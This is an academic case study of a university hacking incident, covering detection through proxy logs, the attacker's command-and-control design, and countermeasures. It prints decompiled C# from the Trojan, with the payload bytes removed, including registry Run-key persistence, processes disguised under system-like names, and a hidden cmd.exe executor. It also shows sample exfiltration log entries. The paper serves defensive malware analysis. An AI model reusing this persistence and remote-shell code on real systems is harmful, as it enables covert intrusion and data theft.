A Hacking Case Study: Detection, Communication, and Code

Hesham M. Al-Ammal

Abstract—We document the techniques used in an actual hacking case which was took place in an academic organization. The study describes the methodology used by the hacker to infiltrate several faculty members' desktop machines and embed malware to gain access to private information and manipulate student records. The Trojan and command and control software that was retrieved by disassembly is presented and analyzed. Finally we discuss why the methods used by the attacker were so successful even though common security tools were deployed at the organization and propose some countermeasures.

Index Terms—Hacking, trust and security, computer security, network security, malware analysis, Trojan, intrusion detection.

I. INTRODUCTION

The widespread dependence on networking and the web leaves our organizations vulnerable to malicious attacks that may threaten our data and its security. Ever since the late 80s when Clifford Stoll presented an account in his book *The Cuckoo's Egg* [1], the world monitored and exposed malicious hacking incidents with interest to learn from the techniques utilized by the hackers and proposed countermeasures to prevent them.

In a similar style, this paper discusses a hacking incident that was perpetrated by a student in a higher-education institute. We will also try to reconstruct the communication model and the code that was used by the attacker by studying techniques and methods used to exploit the trust of the staff of this organization. The approach allowed the attacker to gain access to valuable information such as exams, assignments, and passwords. He then went on to use these passwords to gain access to controlled web-applications such as the electronic grading systems.

The paper will also attempt to present and analyze the methods used by the attacker and present the retrieved disassembled code of the Trojan malware, which was deployed. The concluding remarks present some lessons learned from this incident as well as some suggestions on how it can be prevented in the future.

The attack was very evasive in that it was not detected by all of the deployed anti-virus or firewall software within the organization. It achieved this by using generic methods written from mainly custom made software that made it undetectable. Furthermore, although the attack occurred in an educational institution, we believe it could have been

used in any organization with commercial off the shelf security techniques.

II. OVERVIEW OF THE HACKING INCIDENT

A. Early Signs of the Attack

The first suspicions of wrongdoing were raised when an anomaly was detected in the electronic grades of a class submitted by a faculty member (called A from now on for illustrative purposes) during the end of the semester submission of grades process. In this process, although, grades are stored electronically, academic departments crosscheck grades data with the paper-based version and upon doing so the anomaly that was noticed lead to the discovery of some discrepancies in this class's grades.

Immediately after the incident was discovered, faculty member A's desktop computer was extensively infected with malware that made it slow and unusable, and all of the messages in her email account were purged, in an attempt it seems to remove any evidence of past communications or evidence that may lead to the source of the infection. These events lead the University to form a committee with two members who specialized in Computer Security and Networking to investigate the incident.

B. Investigating the Scope of the Infiltration

The educational organization employed several security measures including:

- All computers had anti-virus software (Sophos and Kaspersky) which was regularly updated.
- All faculty members and students had access control passwords to University web-applications with the specific privileges assigned to each user.
- All web-applications logged access by registering the IP address of users accessing the software. All transactions and changes were also logged.
- Web traffic was also logged through Blue Coat proxy server logs (sample shown below).
- Personal firewall software was deployed by staff members.

As mentioned above, all of the web-applications deployed at the University keep a log of the IP addresses that access them. By tracing the IP address from the access control log for the electronic grading system, the source subnet and IP of infiltrator were identified. It pointed to the subnet used within the Campus Library. Furthermore, since the e-mail account of Faculty A was deleted and the computer was rendered useless, the investigation looked at other means of discovering whether the same hacker infiltrated other systems or accounts.

The organization implemented a strict security scheme which prevented students who were using the campus network from using almost all protocols except the web. This fact meant that almost any hacking activity was probably executed using the HTTP protocol. Furthermore, the use of a web-based proxy by the organization meant that all web activity was recorded in the Blue Coat proxy logs.

By investigating web traffic from the IP address that was identified in the electronic grades web-application's log, the investigative team discovered that a lot of the interactions were with a web-server (called ServerX henceforth). By filtering proxy-log activity for a period of one week for ServerX, other infiltrated machines were discovered all of which periodically communicated with the server. Most of these infiltrated machines belonged to other faculty members, and because these were not yet purged by the attacker the investigation quarantined and retrieved the active malware on these computers for analysis. Furthermore, the analyses of the proxy-logs lead to the discovery of a pattern of communication, which presented some understanding of how the attack was orchestrated and how the attacked gained access to the victim staff members' machines.

C. An Overview of the Attack Technique

The basic idea behind the attack is outlined in the following four steps.

Step 1. Infection: The attacker used multiple methods that depended mainly on the victim's *trust* to install a Trojan on the victim's computer. By trust here we mean that either the attacker used social engineering or had some relationship with the victim. The methods used by the hacker included emails from trusted email accounts, malware on a flash drives and CD-ROMs, and even an infected anti-virus software that installed the anti-virus with the Trojan on the target machine. The attacker used his relationships with the victims and the trust they had in him to gain access to their computers. The Trojan did not replicate and it was custom delivered to each target through one of the methods mentioned above.

Step 2. Establish Communication with ServerX: Once the Trojan was installed on the target machine, it would start communicating with a designated server (i.e. ServerX). The attacker directly communicated with ServerX to place commands for the Trojan. The Trojan communicated periodically with the server, retrieved the commands that were placed previously by the hacker and executed them. The result of the execution would then be sent through HTTP's GET/POST methods to the server. Since all communication was through the HTTP protocol, it was not prevented by the organization's firewall and did not raise any suspicion of foul play.

Step 3. Sleep-Activate Cycle: To prevent any suspicions from the user or system administrator for continuous traffic from the installed Trojan, the attacker included a timing mechanism to allow it to increase the time period between attempts to fetch commands from ServerX. Once there was a need by the attacker to access the infected machine remotely, he would send a command to reduce this period (say to 10 seconds instead of 15 minutes). This would allow

him to interact more frequently with the Trojan to send commands and receive data from the infected machine. When immediate communication was not needed, another command set the period to a longer time span and the Trojan went back to sleep.

Step 4. Exploitation via Keylogger and Shell Access:

The Trojan also included a keylogger which allowed the attacker to capture sensitive information such as passwords and account names. The Trojan would receive commands stored on ServerX, which are then executed by the Trojan who sent the captured text to the server. The attacker had full access to this data, which compromised the privacy of the victim and allowed him access to his/her email and other electronic systems.

Fig. 1. Overview of the communication architecture between attacker and installed Trojans.

D. Tracking and Identifying the Attacker

To track the hacker and expose his identity, the first clue was the IP address from the application log for the online grading system, which showed an address within the subnet located at the University Library. The IP address was assigned to an Ethernet point within the student study area, and thus indicated that it was a laptop.

Since the security policy prevented any traffic other than HTTP web traffic (see Figure 1), and all such traffic went through the University's proxy server, the next step was to obtain the proxy access logs at the time when the incident occurred. Filtering through the proxy logs for the suspected attacker's IP address led to discovering frequent communication with ServerX, which was located outside the campus network. Filtering again within the proxy logs for ServerX's traffic lead to the discovery of several other machines within the campus that were periodically communicating with ServerX.

The timing of the attacker's access from the Library was then used to obtain footage from security camera that were located in the campus library. The investigation narrowed the search within the time period when the attacker's laptop was active to a single student, which was photographed at that exact period at the scene using his laptop at the study area. The suspect also fit the popular hacker's profile: male, smart and curious, reads a lot, either skinny or overweight, doesn't like to communicate verbally, and dresses casually [2].

Further evidence was also collected that incriminated the same person, including some assignments that were submitted to faculty members. The files of these software assignments carried the same laptop name used by the attacker. The name was embedded in the software the attacker developed using MS Visual Studio. This was probably a slip by the hacker who did not know such traces were left by compilers.

III. ANALYSIS OF COMMAND-AND-CONTROL MALWARE

In this section we describe the structure of the malware that was used to gain command-and-control of the infected machines. We start by an overview of the architecture of the malware, and then describe in detail some of its most important functions. Finally, we close with some remarks on possible detection methods for such covert traffic.

A. Overview of Command-and-Control Malware Architecture

As was mentioned earlier, the attacker delivered the malware through different methods including: email, USB disks, and CD-ROMs. In each delivery of the payload he used the trust either gained in him personally, or of the email accounts he had access to.

The payload included two pieces of software:

The key-logger: This was installed as a running process, which is registered as a service. It recorded all keys pressed and saved them into a text file.

The Trojan: This was the main malware that communicated with ServerX and to receive commands, execute them and send the result to ServerX again.

B. Source Code for Some of the Main Modules

The Trojan software that communicated with the server was isolated and analyzed. Using a dis-assembler, the code was retrieved and the structure of the program was identified. It had the following structure as shown in Fig. 2.

Fig. 2. Main Trojan functions

The code of the four functions of the Trojan is presented here in C#.

• main.cs :

```
private static void Main()
{
    Infect infect = new Infect();

    if (infect.DoIt())
```

```

    {
        Thread.Sleep(100);
        Registry.AddValue("taskngr", "taskngr.exe");
        Registry.AddValue("svchost", "svchast.exe");
        Registry.AddValue("ctfmon", "ctfnon.exe");
        try
        {
            Process.Start(@"c:\windows\system32\svchast.exe");
        }
        catch (Exception)
        {
            Shell.StartHiddenProgram("svchast.exe", "");
        }
        try
        {
            Process.Start(@"c:\windows\system32\ctfnon.exe");
        }
        catch (Exception)
        {
            Shell.StartHiddenProgram("ctfnon.exe", "");
        }
        try
        {
            Process.Start(@"c:\windows\system32\taskngr.exe");
        }
        catch (Exception)
        {
            Shell.StartHiddenProgram("taskngr.exe", "");
        }
        try
        {
            Process.Start(@"c:\windows\system32\sadwr.exe");
        }
        catch (Exception)
        {
            Shell.StartHiddenProgram("sadwr.exe", "");
        }
    }
}

```

• infect.cs :

```
namespace Adaware60
{
    internal class Infect
    {
        public Infect()
        {
        }

        public bool DoIt()
        {
            bool flag;

            label_1:
            byte[] bArr1 = new byte[] { 77, 90, 144, 0, 3,
            0, 0, 0, 4, 0, 0, 0, 255,
            (... byte-code deleted for security)
            ,120, 45, 217 };

        }
    } // class Infect
}

```

• registry.cs :

```
internal class Registry
{
    // Methods
    public static string AddValue(string name, string value)
    {
        try
        {
            RegistryKey key =
            Registry.LocalMachine.OpenSubKey(@"SOFTWARE\microsoft\wind
            ows\currentversion\run", true);
            key.SetValue(name, value,
            RegistryValueKind.String);
            key.Close();
            return "Registry value added";
        }
        catch (Exception exception)
        {
            return exception.Message;
        }
    }
}

```

```

public static string DeleteValue(string name)
{
    try
    {
        RegistryKey key =
Registry.LocalMachine.OpenSubKey(@"SOFTWARE\microsoft\wind
ows\currentversion\run", true);
        key.DeleteValue(name);
        key.Close();
        return "Registry key deleted";
    }
    catch (Exception exception)
    {
        return exception.Message;
    }
}

public static string GetValues()
{
    string message = "";
    try
    {
        RegistryKey key =
Registry.LocalMachine.OpenSubKey(@"SOFTWARE\microsoft\wind
ows\currentversion\run", true);
        string[] valueNames = key.GetValueNames();
        key.Close();
        foreach (string str2 in valueNames)
        {
            message = message + str2 + ",";
        }
    }
    catch (Exception exception)
    {
        message = exception.Message;
    }
    return message;
}
}

```

- **shell.cs :**

```

internal class Shell
{
    // Methods
    public static string Execute(string shellCommand)
    {
        string message = "";
        try
        {
            ProcessStartInfo startInfo = new
ProcessStartInfo();
            startInfo.FileName = "cmd.exe";
            startInfo.Arguments = "/C " + shellCommand;
            startInfo.CreateNoWindow = true;
            startInfo.UseShellExecute = false;
            startInfo.RedirectStandardOutput = true;
            startInfo.RedirectStandardError = true;
            Process process = Process.Start(startInfo);
            message = process.StandardOutput.ReadToEnd();
            if (message == "")
            {
                message =
process.StandardError.ReadToEnd();
            }
        }
        catch (Exception exception)
        {
            message = exception.Message;
        }
        return message;
    }

    public static string StartHiddenProgram(string
fileName, string arguments)
    {
        try
        {
            ProcessStartInfo startInfo = new
ProcessStartInfo();
            startInfo.FileName = fileName;
            startInfo.Arguments = arguments;
            startInfo.CreateNoWindow = true;
            startInfo.WindowStyle =
ProcessWindowStyle.Hidden;
            Process.Start(startInfo);
            return "Program has been started";
        }
        catch (Exception exception)
        {

```

```

        return exception.Message;
    }
}

```

C. Overview of the Main Functions

Analysis of the disassembled code presented above shows that the main functions of the code above are as follows:

- **main.cs:**

Is responsible for deploying several versions of the Trojan and the key-logger by starting these processes and inserting them into the registry.

- **infect.cs:**

The payload of the malware, which is encoded into byte-code is also carried by this part of the Trojan (the code has been removed above for security reasons). It contains the machine code of the Trojan and is written immediately into files that are then executed by main.cs.

- **registry.cs:**

This module had methods that enabled the Trojan access to the registry of the host operating system. This function allowed the hacker access to the registry of the infected machine. He/she could add or remove any registry keys using the remote server.

- **shell.cs:**

This part of the Trojan enables the attacker to execute arbitrary operating system commands through the shell. Commands are sent to the Trojan by being placed on ServerX. Since the attacker did not encrypt the communication with the server through the HTTP protocol, the commands were visible in the GET/PUT methods through proxy-log analysis.

The four functions were delivered in a Trojan that also carried the AdAware anti-virus system. This built on the Trust of the victim and ensured a false sense of security. Other deployment incidents were delivered through other means such as bootable CDs or flash drives.

IV. DETECTION OF INTRUSION AND MALWARE

As the communication model shows in Fig. 1, all of the messages exchanged by the installed Trojans and the server had to go through the web proxy or firewall. As the proxy recorded all of the GET/PUT requests in its log, and the attacker didn't encrypt the commands sent through the URLs, it was fairly easy to filter communication to ServerX and monitor the attacker's activity.

The following is a sample entry into the proxy-log file. Each entry shows the date and time, source IP, target IP, URL and other information including the amount of bytes being exchanged.

```

2008-06-12 10:40:32 1623 192.168.86.55 302
TCP_NC_MISS 610 96 GET http go.microsoft.com 80
/fwlink/ ?linkid=89382&clid=0409 - - DIRECT
go.microsoft.com text/html;%20charset=utf-8 - -
OBSERVED "Computers/Internet" - 192.168.2.21

2008-06-08 08:33:28 440 192.168.86.55 200
TCP_REFRESH_MISS 1356 213 GET http crl.geotrust.com 80
/crls/globalcal.crl - - - DIRECT crl.geotrust.com
application/pkix-crl - - "Microsoft-CryptoAPI/6.0"
OBSERVED "Computers/Internet" - 192.168.2.21

```

The proxy-log entries showed the commands sent to/from the infected machines and the information being exchanged. The module schell.cs included a retrieval function, which allowed for uploading files to ServerX. These files included the key-logger output as well as other sensitive files including exams and submitted student assignments.

As the campus network policy prevented the use of almost any other protocol except HTTP, the proxy-log analysis allowed the tracking of the hacker's laptop machine and its activities. This included signing in into messaging service which included the mobile phone of the attacker, and thus lead to incriminate him further.

The following is an example of the response from the Trojan with a directory information from the infected machine. It clearly shows the result of the execution of a command using the module shell.cs. This information is placed in a buffer in ServerX and is then retrieved by the attacker.

```
2008-05-25 06:19:02 278 192.168.89.40 200 TCP_NC_MISS 273
1550 GET http aspspider.info 80
/awaldnet/default.aspx?act=sr&val=re.000%0d%0a02%2f25%2f20
08++12%3a18+PM++++++0+lxccfire.csv%0d%0a02%2f27
%2f2007++11%3a08+AM++++++867+LXCCINST.000%0d%0a02
%2f25%2f2008++12%3a19+PM++++++867+LXCCINST.csv%0d
%0a05%2f21%2f2008++12%3a54+PM++++++17%2c712+lxccscan
.log%0d%0a05%2f22%2f2008++07%3a28+AM++++ (DIR) ++++++mypo
ject%0d%0a03%2f13%2f2007++09%3a05+AM++++ (DIR) ++++++N
ewr%0d%0a11%2f07%2f2006++09%3a03+AM++++ (DIR) ++++++orad
ev%0d%0a11%2f07%2f2006++08%3a54+AM++++ (DIR) ++++++orant
%0d%0a11%2f07%2f2006++09%3a07+AM++++ (DIR) ++++++orarep%
0d%0a10%2f21%2f2007++01%3a25+PM++++ (DIR) ++++++paper%0d
%0a10%2f28%2f2007++12%3a29+PM++++++360+paycheck.d
oc%0d%0a05%2f25%2f2008++09%3a08+AM++++ (DIR) ++++++Perl%
0d%0a11%2f06%2f2007++10%3a52+AM++++++16%2c846+PkgCln
up.log%0d%0a04%2f16%2f2008++04%3a45+PM++++ (DIR) ++++++P
rogram+Files%0d%0a02%2f24%2f2008++10%3a49+AM++++ (DIR) +++++
++++senior+project+final+report%0d%0a11%2f13%2f2007++10%3
a07+AM++++ (DIR) ++++++senior_project%0d%0a03%2f25%2f200
7++09%3a09+AM++++ (DIR) ++++++site%0d%0a06%2f10%2f2007++
09%3a10+AM++++ (DIR) ++++++spoolerlogs%0d%0a02%2f27%2f20
07++11%3a07+AM++++ (DIR) ++++++Temp%0d%0a03%2f04%2f2008+
+12%3a04+PM++++ (DIR) ++++++VB2005B%0d%0a09%2f04%2f2007+
+11%3a49+AM++++ (DIR) ++++++VB2007%0d%0a11%2f07%2f2006++
08%3a53+AM++++ (DIR) ++++++win32app%0d%0a05%2f19%2f2008+
+07%3a44+AM++++ (DIR) ++++++WINDOWS%0d%0a11%2f07%2f2006+
+08%3a54+AM++++++5%7c%7c%7c%7c - - DIRECT
aspspider.info - - - OBSERVED "none" - 192.168.2.21
```

Fig. 3. Sample Data Sent by Trojan

Upon discovery of the infected machines through the proxy-logs, physical access was required to the computers which were all within the campus network. After, receiving permission from the machine users, an analysis was conducted on the running processes. The machines were all Windows-based machines, and the tools that were used to analyze the running processes were the following:

- **Microsoft's Process Explorer** [3]: This is free software that can be downloaded from MicroSoft and offers an enhanced tool to explore the running processes on the machine. This was instrumental in isolating the Trojan and analyzing it. It allows the administrator access to other useful information like network access by processes, which is important when looking for malware such as the one used by the hacker.
- **Sysinternals Suite** [4]: Another set of tools for investigating the internal workings of the Windows Operating System. This contains many useful tools including a hex-editor, process explorer, network mapper, etc.

- **Reflector** [5]: Is a dis-assembler which works extremely well with software developed by Microsoft's Visual Studio. It was used to retrieve and analyze the code used in the Trojan and presented above.

The malware also left other traces on the machine including the key-logger file which was used to see the extent of the attacker's exploitation. The logs that were analyzed showed his acquisition of user's email accounts, academic data accounts, etc. All users were immediately informed and asked to change their passwords and take measures to prevent attacks from the hacker.

V. CONCLUDING REMARKS

As was shown by the analysis and code presented above, there were many lessons learned from this incident. The following is a discussion of these lessons and some concluding remarks.

The malware was tested using all of the known malware detection software and the results were negative. This included all of the commercial anti-virus software. The Trojan software passed the tests because it was custom made by the attacker.

The use of the HTTP protocol for communication with the infected machines prevented detection by firewalls, including those personal firewalls installed on the operating system.

Proxy-log analysis can lead to valuable information while monitoring malware activity. The use of anomaly detection techniques can reveal communication between bots and the servers that control them. This may lead to future work in analyzing proxy-logs to create a profile for human users of the web vs. automated users, and then to indicate if an automated user is a malware or a normal program.

The main problem that lead to the exploitation of the users in this incident was the trust that was given by the instructors to the student. This lead to academic misconduct and the access to several restricted systems. User training in information security is crucial to prevent such attacks. The irony in this incident is that this occurred at a College that specialized in Information Technology, and yet many of the instructors didn't allowed the hacker to exploit their machines.

The existence of malware detection software through out the organization, and the lack of ability of such software to recognize malware activity based on anomalies or behavior provided a large amount of false security. The hacker showed this profoundly by sending the Trojan within software that deployed a popular anti-virus software. Neither this nor other anti-virus or anti-spyware software was able to discover the attacker's Trojan. This was basically, because it did not match any of the signatures that were detected by the software.

The profiling of the hacker personality seemed to have been correct for this case. The investigators of the case immediately formed a preliminary opinion on who the hackers might be and formed a short list. The use of electronic firewalls and anti-malware software is useful, but the use of physical security tools such as security cameras contributed to the capture of the attacker, and provided

undeniable evidence.

Finally, the amount of knowledge and skill needed to engineer such an attack is now quite widespread and as was shown here is attainable at the level of the BSc in a Computing discipline with access to the information available on the Internet. Monitoring the access of the hacker showed a lot of interaction with forums used by coders. He was able to use this knowledge and the trust given to him to exploit the organization's data and gain access to sensitive information. This leads us to conclude the importance of deployment of anomaly intrusion detection techniques in a manner that will make them effective and usable, and at the same time inform and train our staff in security and trust concepts. To prevent exploitation of our networked world, it seems again the human factor is the crucial and most eluding factor.

ACKNOWLEDGMENT

The author wishes to thank Dr. Sufyan al-Irhayim for his support and experience while working in the investigative team for this incident. The author wishes to also thank anonymous referees for valuable comments.

REFERENCES

- [1] C. Stoll, *The Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage*, Knopf, 1989.
- [2] H.-J. Woo, *The hacker mentality: exploring the relationship between psychological variables and hacking activities*, 2003.

- [3] Process Explorer. [Online]. Available: <http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx>
- [4] Sysinternal Suite. [Online]. Available: <http://technet.microsoft.com/en-us/sysinternals/bb842062>
- [5] Red-Net's Reflector. [Online]. Available: <http://www.red-gate.com/products/dotnet-development/reflector/>

Hesham M. Al-Ammal was born in Bahrain and studied his BSc in computer engineering from the KFUPM in Dhahran, Saudi Arabia; his MSc from Louisiana State University, Baton Rouge, USA; and his PhD in computer science from the University of Warwick, Coventry, UK.

He was appointed from 2000 onwards as an assistant professor in the Computer Science Department at the University of Bahrain. He held the position of chair of the Department of Computer Science from 2003 to 2007. He was Director of the Quality Assurance Center at the University of Bahrain from 2008-2011, and currently serves as Dean of the College of Information Technology at the University of Bahrain. He served in many committees for detection and monitoring of computer security and hacking incidents at the University. Furthermore, he is also a consultant in Higher Education Quality Assurance and Business Excellence. In 2010 he became a certified assessor in EFQM. His main research interests are in algorithms, Markov chain analysis, computer and network security, social network analysis and data mining.

Dr. Hesham Al-Ammal is a member of the Association for Computing Machinery since 1989, and currently was appointed a senior member of the ACM in 2010. Other professional memberships include the British Colloquium for Combinatorics, and the European Association for Theoretical Computer Science. He received several scholarships and awards in the field of computing and worked in many national and international committees in the field of higher education and information technology.